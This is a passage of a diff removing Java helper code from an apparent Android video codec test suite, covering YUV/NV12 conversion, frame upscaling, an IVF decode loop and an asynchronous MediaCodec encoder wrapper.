-                params.timeoutDequeue = 0;
-                params.runInLooperThread = true;
-            }
-            outputParameters.add(params);
-        }
-        return outputParameters;
-    }
-
-    protected EncoderOutputStreamParameters getDefaultEncodingParameters(
-            String inputYuvName,
-            String outputIvfBaseName,
-            String codecMimeType,
-            int encodeSeconds,
-            int frameWidth,
-            int frameHeight,
-            int frameRate,
-            int bitrateMode,
-            int bitrate,
-            boolean syncEncoding) {
-        int[] scaleValues = { 1 };
-        int[] bitrates = { bitrate };
-        return getDefaultEncodingParameterList(
-                inputYuvName,
-                outputIvfBaseName,
-                codecMimeType,
-                encodeSeconds,
-                scaleValues,
-                frameWidth,
-                frameHeight,
-                frameRate,
-                bitrateMode,
-                bitrates,
-                syncEncoding).get(0);
-    }
-
-    /**
-     * Converts (interleaves) YUV420 planar to NV12.
-     * Assumes packed, macroblock-aligned frame with no cropping
-     * (visible/coded row length == stride).
-     */
-    private static byte[] YUV420ToNV(int width, int height, byte[] yuv) {
-        byte[] nv = new byte[yuv.length];
-        // Y plane we just copy.
-        System.arraycopy(yuv, 0, nv, 0, width * height);
-
-        // U & V plane we interleave.
-        int u_offset = width * height;
-        int v_offset = u_offset + u_offset / 4;
-        int nv_offset = width * height;
-        for (int i = 0; i < width * height / 4; i++) {
-            nv[nv_offset++] = yuv[u_offset++];
-            nv[nv_offset++] = yuv[v_offset++];
-        }
-        return nv;
-    }
-
-    /**
-     * Converts (de-interleaves) NV12 to YUV420 planar.
-     * Stride may be greater than width, slice height may be greater than height.
-     */
-    private static byte[] NV12ToYUV420(int width, int height,
-            int stride, int sliceHeight, byte[] nv12) {
-        byte[] yuv = new byte[width * height * 3 / 2];
-
-        // Y plane we just copy.
-        for (int i = 0; i < height; i++) {
-            System.arraycopy(nv12, i * stride, yuv, i * width, width);
-        }
-
-        // U & V plane - de-interleave.
-        int u_offset = width * height;
-        int v_offset = u_offset + u_offset / 4;
-        int nv_offset;
-        for (int i = 0; i < height / 2; i++) {
-            nv_offset = stride * (sliceHeight + i);
-            for (int j = 0; j < width / 2; j++) {
-                yuv[u_offset++] = nv12[nv_offset++];
-                yuv[v_offset++] = nv12[nv_offset++];
-            }
-        }
-        return yuv;
-    }
-
-    /**
-     * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
-     * height equal to the crop window.
-     */
-    private static byte[] PackYUV420(int left, int top, int width, int height,
-            int stride, int sliceHeight, byte[] src) {
-        byte[] dst = new byte[width * height * 3 / 2];
-        // Y copy.
-        for (int i = 0; i < height; i++) {
-            System.arraycopy(src, (i + top) * stride + left, dst, i * width, width);
-        }
-        // U and V copy.
-        int u_src_offset = stride * sliceHeight;
-        int v_src_offset = u_src_offset + u_src_offset / 4;
-        int u_dst_offset = width * height;
-        int v_dst_offset = u_dst_offset + u_dst_offset / 4;
-        // Downsample and align to floor-2 for crop origin.
-        left /= 2;
-        top /= 2;
-        for (int i = 0; i < height / 2; i++) {
-            System.arraycopy(src, u_src_offset + (i + top) * (stride / 2) + left,
-                    dst, u_dst_offset + i * (width / 2), width / 2);
-            System.arraycopy(src, v_src_offset + (i + top) * (stride / 2) + left,
-                    dst, v_dst_offset + i * (width / 2), width / 2);
-        }
-        return dst;
-    }
-
-
-    private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
-            byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
-        for (int i = 0; i < dstHeight/2 - 1; i++) {
-            int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
-            int dstOffset1 = dstOffset0 + dstWidth;
-            int srcOffset0 = i * srcStride + srcByteOffset;
-            int srcOffset1 = srcOffset0 + srcStride;
-            int pixel00 = (int)src[srcOffset0++] & 0xff;
-            int pixel10 = (int)src[srcOffset1++] & 0xff;
-            for (int j = 0; j < dstWidth/2 - 1; j++) {
-                int pixel01 = (int)src[srcOffset0++] & 0xff;
-                int pixel11 = (int)src[srcOffset1++] & 0xff;
-                dst[dstOffset0++] = (byte)pixel00;
-                dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
-                dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-                dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
-                pixel00 = pixel01;
-                pixel10 = pixel11;
-            }
-            // last column
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
-        }
-
-        // last row
-        int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
-        int dstOffset1 = dstOffset0 + dstWidth;
-        int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
-        int pixel00 = (int)src[srcOffset0++] & 0xff;
-        for (int j = 0; j < dstWidth/2 - 1; j++) {
-            int pixel01 = (int)src[srcOffset0++] & 0xff;
-            dst[dstOffset0++] = (byte)pixel00;
-            dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
-            dst[dstOffset1++] = (byte)pixel00;
-            dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
-            pixel00 = pixel01;
-        }
-        // the very last pixel - bottom right
-        dst[dstOffset0++] = (byte)pixel00;
-        dst[dstOffset0++] = (byte)pixel00;
-        dst[dstOffset1++] = (byte)pixel00;
-        dst[dstOffset1++] = (byte)pixel00;
-    }
-
-    /**
-    * Up-scale image.
-    * Scale factor is defined by source and destination width ratio.
-    * Only 1:2 and 1:4 up-scaling is supported for now.
-    * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
-    * image is scaled.
-    */
-    private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
-            int dstWidth, int dstHeight) throws Exception {
-        int srcYSize = srcWidth * srcHeight;
-        int dstYSize = dstWidth * dstHeight;
-        byte[] dst = null;
-        if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
-            // 1:2 upscale
-            dst = new byte[dstWidth * dstHeight * 3 / 2];
-            imageUpscale1To2(src, 0, srcWidth,
-                    dst, 0, dstWidth, dstHeight);                                 // Y
-            imageUpscale1To2(src, srcYSize, srcWidth / 2,
-                    dst, dstYSize, dstWidth / 2, dstHeight / 2);                  // U
-            imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
-                    dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2);          // V
-        } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
-            // 1:4 upscale - in two steps
-            int midWidth = 2 * srcWidth;
-            int midHeight = 2 * srcHeight;
-            byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
-            dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
-
-        } else {
-            throw new RuntimeException("Can not find proper scaling function");
-        }
-
-        return dst;
-    }
-
-    private void cacheScaledImage(
-            String srcYuvFilename, String srcResource, int srcFrameWidth, int srcFrameHeight,
-            String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
-        InputStream srcStream = OpenFileOrResource(srcYuvFilename, srcResource);
-        FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
-        int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
-        byte[] srcFrame = new byte[srcFrameSize];
-        byte[] dstFrame = null;
-        Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
-        while (true) {
-            int bytesRead = srcStream.read(srcFrame);
-            if (bytesRead != srcFrame.length) {
-                break;
-            }
-            if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
-                dstFrame = srcFrame;
-            } else {
-                dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
-                        dstFrameWidth, dstFrameHeight);
-            }
-            dstFile.write(dstFrame);
-        }
-        srcStream.close();
-        dstFile.close();
-    }
-
-
-    /**
-     * A basic check if an encoded stream is decodable.
-     *
-     * The most basic confirmation we can get about a frame
-     * being properly encoded is trying to decode it.
-     * (Especially in realtime mode encode output is non-
-     * deterministic, therefore a more thorough check like
-     * md5 sum comparison wouldn't work.)
-     *
-     * Indeed, MediaCodec will raise an IllegalStateException
-     * whenever video decoder fails to decode a frame, and
-     * this test uses that fact to verify the bitstream.
-     *
-     * @param inputIvfFilename  The name of the IVF file containing encoded bitsream.
-     * @param outputYuvFilename The name of the output YUV file (optional).
-     * @param frameRate         Frame rate of input file in frames per second
-     * @param forceGoogleDecoder    Force to use Google Video decoder.
-     * @param codecConfigs      Codec config buffers to be added to the format
-     */
-    protected ArrayList<MediaCodec.BufferInfo> decode(
-            String inputIvfFilename,
-            String outputYuvFilename,
-            String codecMimeType,
-            int frameRate,
-            boolean forceGoogleDecoder,
-            ArrayList<ByteBuffer> codecConfigs) throws Exception {
-        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
-
-        // Open input/output.
-        IvfReader ivf = new IvfReader(inputIvfFilename);
-        int frameWidth = ivf.getWidth();
-        int frameHeight = ivf.getHeight();
-        int frameCount = ivf.getFrameCount();
-        int frameStride = frameWidth;
-        int frameSliceHeight = frameHeight;
-        int cropLeft = 0;
-        int cropTop = 0;
-        int cropWidth = frameWidth;
-        int cropHeight = frameHeight;
-        assertTrue(frameWidth > 0);
-        assertTrue(frameHeight > 0);
-        assertTrue(frameCount > 0);
-
-        // Create decoder.
-        MediaFormat format = MediaFormat.createVideoFormat(
-                codecMimeType, ivf.getWidth(), ivf.getHeight());
-        CodecProperties properties = getVideoCodecProperties(
-                false /* encoder */, format, forceGoogleDecoder);
-        if (properties == null) {
-            ivf.close();
-            return null;
-        }
-        int frameColorFormat = properties.colorFormat;
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
-        int csdIndex = 0;
-        for (ByteBuffer config : codecConfigs) {
-            format.setByteBuffer("csd-" + csdIndex, config);
-            ++csdIndex;
-        }
-
-        FileOutputStream yuv = null;
-        if (outputYuvFilename != null) {
-            yuv = new FileOutputStream(outputYuvFilename, false);
-        }
-
-        Log.d(TAG, "Creating decoder " + properties.codecName +
-                ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
-                ". " + frameWidth + " x " + frameHeight);
-        Log.d(TAG, "  Format: " + format);
-        Log.d(TAG, "  In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
-        MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
-        decoder.configure(format,
-                          null,  // surface
-                          null,  // crypto
-                          0);    // flags
-        decoder.start();
-
-        ByteBuffer[] inputBuffers = decoder.getInputBuffers();
-        ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
-        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
-
-        // decode loop
-        int inputFrameIndex = 0;
-        int outputFrameIndex = 0;
-        long inPresentationTimeUs = 0;
-        long outPresentationTimeUs = 0;
-        boolean sawOutputEOS = false;
-        boolean sawInputEOS = false;
-
-        while (!sawOutputEOS) {
-            if (!sawInputEOS) {
-                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
-                if (inputBufIndex >= 0) {
-                    byte[] frame = ivf.readFrame(inputFrameIndex);
-
-                    if (inputFrameIndex == frameCount - 1) {
-                        Log.d(TAG, "  Input EOS for frame # " + inputFrameIndex);
-                        sawInputEOS = true;
-                    }
-
-                    inputBuffers[inputBufIndex].clear();
-                    inputBuffers[inputBufIndex].put(frame);
-                    inputBuffers[inputBufIndex].rewind();
-                    inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
-
-                    decoder.queueInputBuffer(
-                            inputBufIndex,
-                            0,  // offset
-                            frame.length,
-                            inPresentationTimeUs,
-                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
-
-                    inputFrameIndex++;
-                }
-            }
-
-            int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
-            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
-                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    outputBuffers = decoder.getOutputBuffers();
-                } else  if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    // Process format change
-                    format = decoder.getOutputFormat();
-                    frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
-                    frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
-                    frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
-                    Log.d(TAG, "Decoder output format change. Color: 0x" +
-                            Integer.toHexString(frameColorFormat));
-                    Log.d(TAG, "Format: " + format.toString());
-
-                    // Parse frame and slice height from undocumented values
-                    if (format.containsKey("stride")) {
-                        frameStride = format.getInteger("stride");
-                    } else {
-                        frameStride = frameWidth;
-                    }
-                    if (format.containsKey("slice-height")) {
-                        frameSliceHeight = format.getInteger("slice-height");
-                    } else {
-                        frameSliceHeight = frameHeight;
-                    }
-                    Log.d(TAG, "Frame stride and slice height: " + frameStride +
-                            " x " + frameSliceHeight);
-                    frameStride = Math.max(frameWidth, frameStride);
-                    frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
-
-                    // Parse crop window for the area of recording decoded frame data.
-                    if (format.containsKey("crop-left")) {
-                        cropLeft = format.getInteger("crop-left");
-                    }
-                    if (format.containsKey("crop-top")) {
-                        cropTop = format.getInteger("crop-top");
-                    }
-                    if (format.containsKey("crop-right")) {
-                        cropWidth = format.getInteger("crop-right") - cropLeft + 1;
-                    } else {
-                        cropWidth = frameWidth;
-                    }
-                    if (format.containsKey("crop-bottom")) {
-                        cropHeight = format.getInteger("crop-bottom") - cropTop + 1;
-                    } else {
-                        cropHeight = frameHeight;
-                    }
-                    Log.d(TAG, "Frame crop window origin: " + cropLeft + " x " + cropTop
-                            + ", size: " + cropWidth + " x " + cropHeight);
-                    cropWidth = Math.min(frameWidth - cropLeft, cropWidth);
-                    cropHeight = Math.min(frameHeight - cropTop, cropHeight);
-                }
-                result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
-            }
-            if (result >= 0) {
-                int outputBufIndex = result;
-                outPresentationTimeUs = bufferInfo.presentationTimeUs;
-                Log.v(TAG, "Writing buffer # " + outputFrameIndex +
-                        ". Size: " + bufferInfo.size +
-                        ". InTime: " + (inPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (outPresentationTimeUs + 500)/1000);
-                if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    sawOutputEOS = true;
-                    Log.d(TAG, "   Output EOS for frame # " + outputFrameIndex);
-                }
-
-                if (bufferInfo.size > 0) {
-                    // Save decoder output to yuv file.
-                    if (yuv != null) {
-                        byte[] frame = new byte[bufferInfo.size];
-                        outputBuffers[outputBufIndex].position(bufferInfo.offset);
-                        outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
-                        // Convert NV12 to YUV420 if necessary.
-                        if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                            frame = NV12ToYUV420(frameWidth, frameHeight,
-                                    frameStride, frameSliceHeight, frame);
-                        }
-                        int writeLength = Math.min(cropWidth * cropHeight * 3 / 2, frame.length);
-                        // Pack frame if necessary.
-                        if (writeLength < frame.length &&
-                                (frameStride > cropWidth || frameSliceHeight > cropHeight)) {
-                            frame = PackYUV420(cropLeft, cropTop, cropWidth, cropHeight,
-                                    frameStride, frameSliceHeight, frame);
-                        }
-                        yuv.write(frame, 0, writeLength);
-                    }
-                    outputFrameIndex++;
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
-                            outPresentationTimeUs, bufferInfo.flags);
-                    bufferInfos.add(bufferInfoCopy);
-                }
-                decoder.releaseOutputBuffer(outputBufIndex, false);
-            }
-        }
-        decoder.stop();
-        decoder.release();
-        ivf.close();
-        if (yuv != null) {
-            yuv.close();
-        }
-
-        return bufferInfos;
-    }
-
-
-    /**
-     * Helper function to return InputStream from either fully specified filename (if set)
-     * or resource name within test assets (if filename is not set).
-     */
-    private InputStream OpenFileOrResource(String filename, final String resource)
-            throws Exception {
-        if (filename != null) {
-            Preconditions.assertTestFileExists(filename);
-            return new FileInputStream(filename);
-        }
-        Preconditions.assertTestFileExists(mInpPrefix + resource);
-        return new FileInputStream(mInpPrefix + resource);
-    }
-
-    /**
-     * Results of frame encoding.
-     */
-    protected class MediaEncoderOutput {
-        public long inPresentationTimeUs;
-        public long outPresentationTimeUs;
-        public boolean outputGenerated;
-        public int flags;
-        public byte[] buffer;
-    }
-
-    protected class MediaEncoderAsyncHelper {
-        private final EncoderOutputStreamParameters mStreamParams;
-        private final CodecProperties mProperties;
-        private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
-        private final IvfWriter mIvf;
-        private final ArrayList<ByteBuffer> mCodecConfigs;
-        private final byte[] mSrcFrame;
-
-        private InputStream mYuvStream;
-        private int mInputFrameIndex;
-
-        MediaEncoderAsyncHelper(
-                EncoderOutputStreamParameters streamParams,
-                CodecProperties properties,
-                ArrayList<MediaCodec.BufferInfo> bufferInfos,
-                IvfWriter ivf,
-                ArrayList<ByteBuffer> codecConfigs)
-                throws Exception {
-            mStreamParams = streamParams;
-            mProperties = properties;
-            mBufferInfos = bufferInfos;
-            mIvf = ivf;
-            mCodecConfigs = codecConfigs;
-
-            int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
-            mSrcFrame = new byte[srcFrameSize];
-
-            mYuvStream = OpenFileOrResource(
-                    streamParams.inputYuvFilename, streamParams.inputResource);
-        }
-
-        public byte[] getInputFrame() {
-            // Check EOS
-            if (mStreamParams.frameCount == 0
-                    || (mStreamParams.frameCount > 0
-                            && mInputFrameIndex >= mStreamParams.frameCount)) {
-                Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
-                return null;
-            }
-
-            try {
-                int bytesRead = mYuvStream.read(mSrcFrame);
-
-                if (bytesRead == -1) {
-                    // rewind to beginning of file
-                    mYuvStream.close();
-                    mYuvStream = OpenFileOrResource(
-                            mStreamParams.inputYuvFilename, mStreamParams.inputResource);
-                    bytesRead = mYuvStream.read(mSrcFrame);
-                }
-            } catch (Exception e) {
-                Log.e(TAG, "Failed to read YUV file.");
-                return null;
-            }
-            mInputFrameIndex++;
-
-            // Convert YUV420 to NV12 if necessary
-            if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
-                return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
-                        mSrcFrame);
-            } else {
-                return mSrcFrame;
-            }
-        }
-
-        public boolean saveOutputFrame(MediaEncoderOutput out) {
-            if (out.outputGenerated) {
-                if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    Log.d(TAG, "Storing codec config separately");
-                    ByteBuffer csdBuffer = ByteBuffer.allocate(out.buffer.length).put(out.buffer);
-                    csdBuffer.rewind();
-                    mCodecConfigs.add(csdBuffer);
-                    out.buffer = new byte[0];
-                }
-                if (out.buffer.length > 0) {
-                    // Save frame
-                    try {
-                        mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
-                    } catch (Exception e) {
-                        Log.d(TAG, "Failed to write frame");
-                        return true;
-                    }
-
-                    // Update statistics - store presentation time delay in offset
-                    long presentationTimeUsDelta = out.inPresentationTimeUs -
-                            out.outPresentationTimeUs;
-                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
-                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
-                            out.outPresentationTimeUs, out.flags);
-                    mBufferInfos.add(bufferInfoCopy);
-                }
-                // Detect output EOS
-                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    Log.d(TAG, "----Output EOS ");
-                    return true;
-                }
-            }
-            return false;
-        }
-    }
-
-    /**
-     * Video encoder wrapper class.
-     * Allows to run the encoder either in a callee's thread or in a looper thread
-     * using buffer dequeue ready notification callbacks.
-     *
-     * Function feedInput() is used to send raw video frame to the encoder input. When encoder
-     * is configured to run in async mode the function will run in a looper thread.
-     * Encoded frame can be retrieved by calling getOutput() function.
-     */
-    protected class MediaEncoderAsync extends Thread {
-        private int mId;
-        private MediaCodecWrapper mCodec;
-        private ByteBuffer[] mInputBuffers;
-        private ByteBuffer[] mOutputBuffers;
-        private int mInputFrameIndex;
-        private int mOutputFrameIndex;
-        private int mInputBufIndex;
-        private int mFrameRate;
-        private long mTimeout;
-        private MediaCodec.BufferInfo mBufferInfo;
-        private long mInPresentationTimeUs;
-        private long mOutPresentationTimeUs;
-        private boolean mAsync;
-        // Flag indicating if input frame was consumed by the encoder in feedInput() call.
-        private boolean mConsumedInput;
-        // Result of frame encoding returned by getOutput() call.
-        private MediaEncoderOutput mOutput;
-        // Object used to signal that looper thread has started and Handler instance associated
-        // with looper thread has been allocated.
-        private final Object mThreadEvent = new Object();
-        // Object used to signal that MediaCodec buffer dequeue notification callback
-        // was received.
-        private final Object mCallbackEvent = new Object();
-        private Handler mHandler;
-        private boolean mCallbackReceived;
-        private MediaEncoderAsyncHelper mHelper;
-        private final Object mCompletionEvent = new Object();
-        private boolean mCompleted;
-        private boolean mInitialSyncFrameReceived;
-
-        private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
-            @Override
-            public void onInputBufferAvailable(MediaCodec codec, int index) {
-                if (mHelper == null) {
-                    Log.e(TAG, "async helper not available");
-                    return;
-                }
-
-                byte[] encFrame = mHelper.getInputFrame();
-                boolean inputEOS = (encFrame == null);
-
-                int encFrameLength = 0;
-                int flags = 0;
-                if (inputEOS) {
-                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                } else {
-                    encFrameLength = encFrame.length;
-
-                    ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
-                    byteBuffer.put(encFrame);
-                    byteBuffer.rewind();
-
-                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
-
-                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
-                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
-
-                    mInputFrameIndex++;
-                }
-
-                mCodec.queueInputBuffer(
-                        index,
-                        0,  // offset
-                        encFrameLength,  // size
-                        mInPresentationTimeUs,
-                        flags);
-            }
-
-            @Override
-            public void onOutputBufferAvailable(MediaCodec codec,
-                    int index, MediaCodec.BufferInfo info) {
-                if (mHelper == null) {
-                    Log.e(TAG, "async helper not available");
-                    return;
-                }
-
-                MediaEncoderOutput out = new MediaEncoderOutput();
-
-                out.buffer = new byte[info.size];
-                ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
-                outputBuffer.get(out.buffer, 0, info.size);
-                mOutPresentationTimeUs = info.presentationTimeUs;
-
-                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
-                if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
-                    logStr += " CONFIG. ";
-                }
-                if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
-                    logStr += " KEY. ";
-                    if (!mInitialSyncFrameReceived) {
-                        mInitialSyncFrameReceived = true;
-                    }
-                }
-                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
-                    logStr += " EOS. ";
-                }
-                logStr += " Size: " + info.size;
-                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
-                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
-                Log.v(TAG, logStr);
-
-                if (!mInitialSyncFrameReceived
-                        && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
-                    throw new RuntimeException("Non codec_config_frame before first sync.");
-                }
-
-                if (info.size > 0) {
-                    mOutputFrameIndex++;
-                    out.inPresentationTimeUs = mInPresentationTimeUs;
-                    out.outPresentationTimeUs = mOutPresentationTimeUs;
-                }
-                mCodec.releaseOutputBuffer(index, false);
-
-                out.flags = info.flags;
-                out.outputGenerated = true;
-
-                if (mHelper.saveOutputFrame(out)) {
-                    // output EOS
-                    signalCompletion();
-                }
-            }
-
-            @Override
-            public void onError(MediaCodec codec, CodecException e) {
-                Log.e(TAG, "onError: " + e
-                        + ", transient " + e.isTransient()
-                        + ", recoverable " + e.isRecoverable()
-                        + ", error " + e.getErrorCode());
-            }
-
-            @Override
-            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
-                Log.i(TAG, "onOutputFormatChanged: " + format.toString());
-            }
-        };
-
-        private synchronized void requestStart() throws Exception {
-            mHandler = null;
-            start();
-            // Wait for Hander allocation
-            synchronized (mThreadEvent) {
-                while (mHandler == null) {
-                    mThreadEvent.wait();
-                }
-            }
-        }
-
-        public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
-            mHelper = helper;
-        }
-
-        @Override
-        public void run() {
-            Looper.prepare();
-            synchronized (mThreadEvent) {
-                mHandler = new Handler();
-                mThreadEvent.notify();
-            }
-            Looper.loop();
-        }
-
-        private void runCallable(final Callable<?> callable) throws Exception {
-            if (mAsync) {
-                final Exception[] exception = new Exception[1];
-                final CountDownLatch countDownLatch = new CountDownLatch(1);
-                mHandler.post( new Runnable() {
-                    @Override
-                    public void run() {
-                        try {
-                            callable.call();
-                        } catch (Exception e) {
-                            exception[0] = e;
-                        } finally {
-                            countDownLatch.countDown();
-                        }
-                    }
-                } );
-
-                // Wait for task completion
-                countDownLatch.await();
-                if (exception[0] != null) {
-                    throw exception[0];
-                }
-            } else {
-                callable.call();
-            }
-        }
-
-        private synchronized void requestStop() throws Exception {
-            mHandler.post( new Runnable() {
-                @Override
-                public void run() {
-                    // This will run on the Looper thread
-                    Log.v(TAG, "MediaEncoder looper quitting");
-                    Looper.myLooper().quitSafely();
-                }
-            } );
-            // Wait for completion
-            join();
-            mHandler = null;
-        }
-
-        private void createCodecInternal(final String name,
-                final MediaFormat format, final long timeout, boolean useNdk) throws Exception {
-            mBufferInfo = new MediaCodec.BufferInfo();
-            mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
-            mTimeout = timeout;
-            mInputFrameIndex = 0;
-            mOutputFrameIndex = 0;
-            mInPresentationTimeUs = 0;
-            mOutPresentationTimeUs = 0;
-
-            if (useNdk) {
-                mCodec = new NdkMediaCodec(name);
-            } else {
-                mCodec = new SdkMediaCodec(MediaCodec.createByCodecName(name), mAsync);
-            }
-            if (mAsync) {
-                mCodec.setCallback(mCallback);
-            }
-            mCodec.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
-            mCodec.start();
-
-            // get the cached input/output only in sync mode
-            if (!mAsync) {
-                mInputBuffers = mCodec.getInputBuffers();
-                mOutputBuffers = mCodec.getOutputBuffers();
-            }
-        }
-
-        public void createCodec(int id, final String name, final MediaFormat format,
-                final long timeout, boolean async, final boolean useNdk)  throws Exception {
-            mId = id;
-            mAsync = async;
-            if (mAsync) {
-                requestStart(); // start looper thread
-            }
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    createCodecInternal(name, format, timeout, useNdk);
-                    return null;
-                }
-            } );
-        }
-
-        private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
-            mConsumedInput = false;
-            // Feed input
-            mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
-
-            if (mInputBufIndex >= 0) {
-                ByteBuffer inputBuffer = mCodec.getInputBuffer(mInputBufIndex);
-                inputBuffer.clear();
-                inputBuffer.put(encFrame);
-                inputBuffer.rewind();
-                int encFrameLength = encFrame.length;
-                int flags = 0;
-                if (inputEOS) {
-                    encFrameLength = 0;
-                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
-                }
-                if (!inputEOS) {
-                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
-                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
-                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
-                    mInputFrameIndex++;
-                }
-
-                mCodec.queueInputBuffer(
-                        mInputBufIndex,
-                        0,  // offset
-                        encFrameLength,  // size
-                        mInPresentationTimeUs,
-                        flags);
-
-                mConsumedInput = true;
-            } else {
-                Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
-            }
-            mCallbackReceived = false;
-        }
-
-        public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
-            runCallable( new Callable<Void>() {
-                @Override
-                public Void call() throws Exception {
-                    feedInputInternal(encFrame, inputEOS);
-                    return null;
-                }
-            } );
-            return mConsumedInput;
-        }
-
-        private void getOutputInternal() {
-            mOutput = new MediaEncoderOutput();
-            mOutput.inPresentationTimeUs = mInPresentationTimeUs;
-            mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
-            mOutput.outputGenerated = false;
-
-            // Get output from the encoder
-            int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
-            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
-                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
-                    mOutputBuffers = mCodec.getOutputBuffers();
-                } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
-                    Log.d(TAG, "Format changed: " + mCodec.getOutputFormatString());
-                }
